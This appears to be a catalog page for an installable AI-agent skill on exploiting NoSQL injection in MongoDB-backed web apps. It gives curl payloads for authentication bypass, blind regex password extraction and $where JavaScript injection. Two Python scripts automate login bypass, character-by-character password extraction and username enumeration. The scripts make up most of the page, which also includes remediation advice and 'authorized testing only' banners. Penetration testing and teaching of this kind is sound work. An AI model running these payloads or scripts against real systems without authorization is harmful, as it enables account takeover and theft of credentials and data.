web application security

Exploiting NoSQL Injection Vulnerabilities

Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.

api-testingauthentication-bypassdatabase-securityinjection-attackmongodbnosql-injectionweb-security
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • During web application penetration testing of applications using NoSQL databases
  • When testing authentication mechanisms backed by MongoDB or similar databases
  • When assessing APIs that accept JSON input for database queries
  • During bug bounty hunting on applications with NoSQL backends
  • When performing security code review of database query construction

Prerequisites

  • Burp Suite Professional or Community Edition with JSON support
  • NoSQLMap tool installed (pip install nosqlmap or from GitHub)
  • Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
  • Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
  • Proxy configured for HTTP traffic interception
  • Python 3.x for custom payload scripting

Workflow

Step 1 — Identify NoSQL Injection Points

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'
 
# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"
 
# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Step 2 — Perform Authentication Bypass

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
 
# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
 
# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'
 
# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'

Step 3 — Extract Data Using Boolean-Based Blind Injection

# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'
 
# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'
 
# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'

Step 4 — Exploit JavaScript Injection via $where

# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'
 
# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'
 
# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'

Step 5 — Use NoSQLMap for Automated Testing

# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
 
# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'
 
# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'

Step 6 — Test URL Parameter Injection

# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"
 
# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
 
# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
  -H "X-User-Id: {'\$ne': null}"

Key Concepts

Concept Description
Operator Injection Injecting MongoDB operators ($ne, $gt, $regex) into query parameters
Authentication Bypass Using operators to match any document and bypass login checks
Blind Extraction Character-by-character data extraction using $regex boolean responses
$where Injection Executing arbitrary JavaScript on the MongoDB server via $where operator
Type Juggling Exploiting how NoSQL databases handle different input types (string vs object)
BSON Injection Manipulating Binary JSON serialization in MongoDB wire protocol
Server-Side JS JavaScript execution context available in MongoDB for query evaluation

Tools & Systems

Tool Purpose
NoSQLMap Automated NoSQL injection detection and exploitation framework
Burp Suite HTTP proxy for intercepting and modifying JSON requests
MongoDB Shell Direct database interaction for testing query behavior
nosqli Dedicated NoSQL injection scanner and exploitation tool
PayloadsAllTheThings Curated NoSQL injection payload repository
Nuclei Template-based scanner with NoSQL injection detection templates
Postman API testing platform for crafting NoSQL injection requests

Common Scenarios

  1. Login Bypass — Bypass MongoDB-backed authentication using {"$ne": ""} operator injection in username and password fields
  2. Data Enumeration — Extract database contents character by character using $regex blind injection when no direct output is visible
  3. Privilege Escalation — Modify user role fields through NoSQL injection in profile update endpoints
  4. API Key Extraction — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
  5. Account Takeover — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass

Output Format

## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)
 
### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |
 
### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator
 
### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md2.2 KB

API Reference: NoSQL Injection Testing

MongoDB Query Operators

Operator Description Injection Use
$ne Not equal Bypass authentication
$gt Greater than Extract data
$regex Regular expression Pattern matching
$exists Field exists Enumerate fields
$where JavaScript expression Code execution
$or Logical OR Logic bypass

Authentication Bypass Payloads

GET Parameters

?username[$ne]=&password[$ne]=
?username=admin&password[$gt]=
?username[$regex]=admin.*&password[$ne]=

JSON Body

{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}

Data Extraction

Regex-Based Extraction

{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}

$where JavaScript Injection

{"$where": "this.username == 'admin' && this.password.match(/^a/)"}

Error-Based Detection

MongoDB Error Messages

Error Indicator
MongoError MongoDB driver error
CastError Invalid ObjectId
BSONTypeError Invalid BSON type
SyntaxError JavaScript parse error

Testing Tools

NoSQLMap

python nosqlmap.py --url http://target/api/login --method POST \
    --data '{"username":"test","password":"test"}'

Burp Suite Intruder

Use NoSQL payload wordlist with parameter fuzzing.

Python requests Testing

GET Injection

import requests
url = "http://target/api/users"
resp = requests.get(f"{url}?username[$ne]=&password[$ne]=")

JSON Injection

payload = {"username": {"$ne": ""}, "password": {"$ne": ""}}
resp = requests.post(url, json=payload)

Remediation

  1. Use parameterized queries (never concatenate user input)
  2. Validate input types (reject objects where strings expected)
  3. Use mongo-sanitize or equivalent input sanitization
  4. Disable $where operator if not needed
  5. Implement proper authentication (don't rely on query-level checks)
standards.md1.1 KB

Standards & References — NoSQL Injection

Industry Standards

  • OWASP Top 10 2021 A03 — Injection (includes NoSQL injection)
  • OWASP Testing Guide — Testing for NoSQL Injection (WSTG-INPV-05.6)
  • CWE-943 — Improper Neutralization of Special Elements in Data Query Logic
  • MITRE ATT&CK T1190 — Exploit Public-Facing Application

Technical References

Tools

workflows.md1.1 KB

Workflows — NoSQL Injection Exploitation

Detection Workflow

  1. Identify application technology stack (check for MongoDB, CouchDB indicators)
  2. Map all input points accepting JSON data or query parameters
  3. Submit operator payloads ($ne, $gt, $regex) in each parameter
  4. Monitor responses for authentication bypass or data leakage
  5. Test for JavaScript injection via $where operator
  6. Document all vulnerable endpoints with proof-of-concept payloads

Blind Extraction Workflow

  1. Confirm boolean-based injection by comparing true/false responses
  2. Determine password/field length using $regex with length patterns
  3. Extract characters one at a time using $regex "^<known_chars>"
  4. Automate extraction with Python script using binary search
  5. Validate extracted data by attempting authentication

Automated Scanning Workflow

  1. Configure proxy (Burp Suite) to intercept target traffic
  2. Run NoSQLMap against identified endpoints
  3. Use nuclei with NoSQL injection templates for broad coverage
  4. Manually verify automated findings with crafted payloads
  5. Escalate confirmed findings to data extraction or RCE attempts

Scripts 2

agent.py4.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing NoSQL injection vulnerabilities in web applications."""

import argparse
import json
from datetime import datetime, timezone

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False

NOSQL_PAYLOADS_GET = [
    ("[$ne]", ""),
    ("[$gt]", ""),
    ("[$regex]", ".*"),
    ("[$exists]", "true"),
    ("[$nin][]", "impossible"),
]

NOSQL_PAYLOADS_JSON = [
    {"$ne": ""},
    {"$gt": ""},
    {"$regex": ".*"},
    {"$exists": True},
    {"$where": "1==1"},
    {"$or": [{"a": 1}, {"b": 1}]},
]

ERROR_INDICATORS = [
    "mongoerror", "bson", "objectid", "cast to objectid",
    "json parse error", "syntaxerror", "unexpected token",
    "cannot read property", "mongodb",
]


def test_get_injection(url, param, token=None):
    """Test NoSQL injection via GET parameter manipulation."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    try:
        baseline = requests.get(f"{url}?{param}=test", headers=headers, timeout=10, verify=False)
        baseline_len = len(baseline.text)
    except requests.RequestException:
        return findings

    for suffix, value in NOSQL_PAYLOADS_GET:
        try:
            test_url = f"{url}?{param}{suffix}={value}"
            resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
            indicators = []
            if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
                indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
            for err in ERROR_INDICATORS:
                if err in resp.text.lower():
                    indicators.append(f"Error indicator: {err}")
            if indicators:
                findings.append({
                    "param": param, "payload": f"{param}{suffix}={value}",
                    "method": "GET", "indicators": indicators,
                })
        except requests.RequestException:
            continue
    return findings


def test_json_injection(url, field, token=None):
    """Test NoSQL injection via JSON body."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    headers["Content-Type"] = "application/json"
    try:
        baseline = requests.post(url, json={field: "test"}, headers=headers, timeout=10, verify=False)
        baseline_len = len(baseline.text)
    except requests.RequestException:
        return findings

    for payload in NOSQL_PAYLOADS_JSON:
        try:
            resp = requests.post(url, json={field: payload}, headers=headers, timeout=10, verify=False)
            indicators = []
            if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
                indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
            for err in ERROR_INDICATORS:
                if err in resp.text.lower():
                    indicators.append(f"Error indicator: {err}")
            if indicators:
                findings.append({
                    "field": field, "payload": str(payload),
                    "method": "POST", "indicators": indicators,
                })
        except requests.RequestException:
            continue
    return findings


def main():
    parser = argparse.ArgumentParser(
        description="Test NoSQL injection vulnerabilities (authorized testing only)"
    )
    parser.add_argument("--url", required=True, help="Target URL")
    parser.add_argument("--param", help="GET parameter to test")
    parser.add_argument("--field", help="JSON field to test")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] NoSQL Injection Testing Agent")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []}

    if args.param:
        findings = test_get_injection(args.url, args.param, args.token)
        report["findings"].extend(findings)
    if args.field:
        findings = test_json_injection(args.url, args.field, args.token)
        report["findings"].extend(findings)

    report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"
    print(f"[*] NoSQL injection findings: {len(report['findings'])}")

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
process.py7.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
NoSQL Injection Testing Automation
Performs operator injection, authentication bypass, and blind data extraction.
"""

import requests
import string
import json
import sys
import time
from urllib.parse import urljoin


def test_operator_injection(target_url: str, content_type: str = "json") -> dict:
    """Test for basic NoSQL operator injection vulnerabilities."""
    results = {"vulnerable": False, "payloads": []}

    payloads = [
        {"username": {"$ne": ""}, "password": {"$ne": ""}},
        {"username": {"$gt": ""}, "password": {"$gt": ""}},
        {"username": {"$exists": True}, "password": {"$exists": True}},
        {"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}},
        {"username": "admin", "password": {"$ne": ""}},
        {"username": "admin", "password": {"$regex": ".*"}},
    ]

    for payload in payloads:
        try:
            response = requests.post(
                target_url,
                json=payload,
                headers={"Content-Type": "application/json"},
                timeout=10,
                allow_redirects=False
            )

            if response.status_code in [200, 302] and (
                "dashboard" in response.text.lower() or
                "welcome" in response.text.lower() or
                "token" in response.text.lower() or
                response.status_code == 302
            ):
                results["vulnerable"] = True
                results["payloads"].append({
                    "payload": json.dumps(payload, default=str),
                    "status_code": response.status_code,
                    "response_length": len(response.text)
                })
                print(f"[+] AUTH BYPASS: {json.dumps(payload, default=str)}")
        except requests.RequestException as e:
            print(f"[-] Request failed: {e}")

    return results


def blind_extract_field(target_url: str, username: str, field: str = "password",
                        max_length: int = 32) -> str:
    """Extract a field value character by character using regex-based blind injection."""
    extracted = ""
    charset = string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$%^&*"

    print(f"[*] Extracting {field} for user '{username}'...")

    for position in range(max_length):
        found = False
        for char in charset:
            test_value = extracted + char
            payload = {
                "username": username,
                field: {"$regex": f"^{_escape_regex(test_value)}"}
            }

            try:
                response = requests.post(
                    target_url,
                    json=payload,
                    headers={"Content-Type": "application/json"},
                    timeout=10,
                    allow_redirects=False
                )

                if response.status_code in [200, 302] and (
                    "dashboard" in response.text.lower() or
                    "welcome" in response.text.lower() or
                    "token" in response.text.lower() or
                    response.status_code == 302
                ):
                    extracted += char
                    print(f"[+] Found character {position}: '{char}' -> {extracted}")
                    found = True
                    break
            except requests.RequestException:
                continue

            time.sleep(0.05)

        if not found:
            break

    print(f"[+] Extracted value: {extracted}")
    return extracted


def _escape_regex(text: str) -> str:
    """Escape special regex characters in extracted text."""
    special_chars = r"\.+*?^${}()|[]"
    result = ""
    for char in text:
        if char in special_chars:
            result += "\\" + char
        else:
            result += char
    return result


def enumerate_usernames(target_url: str) -> list:
    """Enumerate valid usernames using regex injection."""
    found_users = []
    prefixes = list(string.ascii_lowercase)

    print("[*] Enumerating usernames...")
    for prefix in prefixes:
        payload = {
            "username": {"$regex": f"^{prefix}"},
            "password": {"$ne": ""}
        }
        try:
            response = requests.post(
                target_url, json=payload,
                headers={"Content-Type": "application/json"},
                timeout=10, allow_redirects=False
            )
            if response.status_code in [200, 302]:
                print(f"[+] Username starting with '{prefix}' exists")
                found_users.append(prefix)
        except requests.RequestException:
            continue

    return found_users


def test_where_injection(target_url: str) -> bool:
    """Test for JavaScript injection via $where operator."""
    payloads = [
        {"$where": "1==1"},
        {"$where": "this.username == this.username"},
        {"$where": "function() { return true; }"},
    ]

    for payload in payloads:
        try:
            response = requests.post(
                target_url, json=payload,
                headers={"Content-Type": "application/json"},
                timeout=10
            )
            if response.status_code == 200 and len(response.text) > 100:
                print(f"[+] $where injection works: {json.dumps(payload)}")
                return True
        except requests.RequestException:
            continue

    return False


def generate_report(target_url: str, injection_results: dict,
                    extracted_data: dict, output_file: str):
    """Generate assessment report."""
    with open(output_file, "w") as f:
        f.write("# NoSQL Injection Assessment Report\n\n")
        f.write(f"**Target**: {target_url}\n")
        f.write(f"**Vulnerable**: {'Yes' if injection_results['vulnerable'] else 'No'}\n\n")

        if injection_results["payloads"]:
            f.write("## Successful Payloads\n\n")
            f.write("| Payload | Status Code | Response Length |\n")
            f.write("|---------|-------------|----------------|\n")
            for p in injection_results["payloads"]:
                f.write(f"| `{p['payload']}` | {p['status_code']} | {p['response_length']} |\n")

        if extracted_data:
            f.write("\n## Extracted Data\n\n")
            for user, value in extracted_data.items():
                f.write(f"- **{user}**: `{value}`\n")

        f.write("\n## Remediation\n")
        f.write("- Use parameterized queries and input type validation\n")
        f.write("- Reject object/array inputs where strings are expected\n")
        f.write("- Disable $where JavaScript execution in MongoDB configuration\n")
        f.write("- Implement WAF rules to block MongoDB operator patterns\n")

    print(f"[+] Report saved to {output_file}")


def main():
    if len(sys.argv) < 2:
        print("Usage: python process.py <target_url> [--extract <username>] [--enumerate]")
        sys.exit(1)

    target_url = sys.argv[1]

    print(f"[*] Testing NoSQL injection on {target_url}")
    results = test_operator_injection(target_url)

    extracted_data = {}
    if "--extract" in sys.argv:
        idx = sys.argv.index("--extract")
        username = sys.argv[idx + 1] if idx + 1 < len(sys.argv) else "admin"
        password = blind_extract_field(target_url, username)
        extracted_data[username] = password

    if "--enumerate" in sys.argv:
        enumerate_usernames(target_url)

    test_where_injection(target_url)

    generate_report(target_url, results, extracted_data, "nosql_injection_report.md")


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 1.1 KB
Keep exploring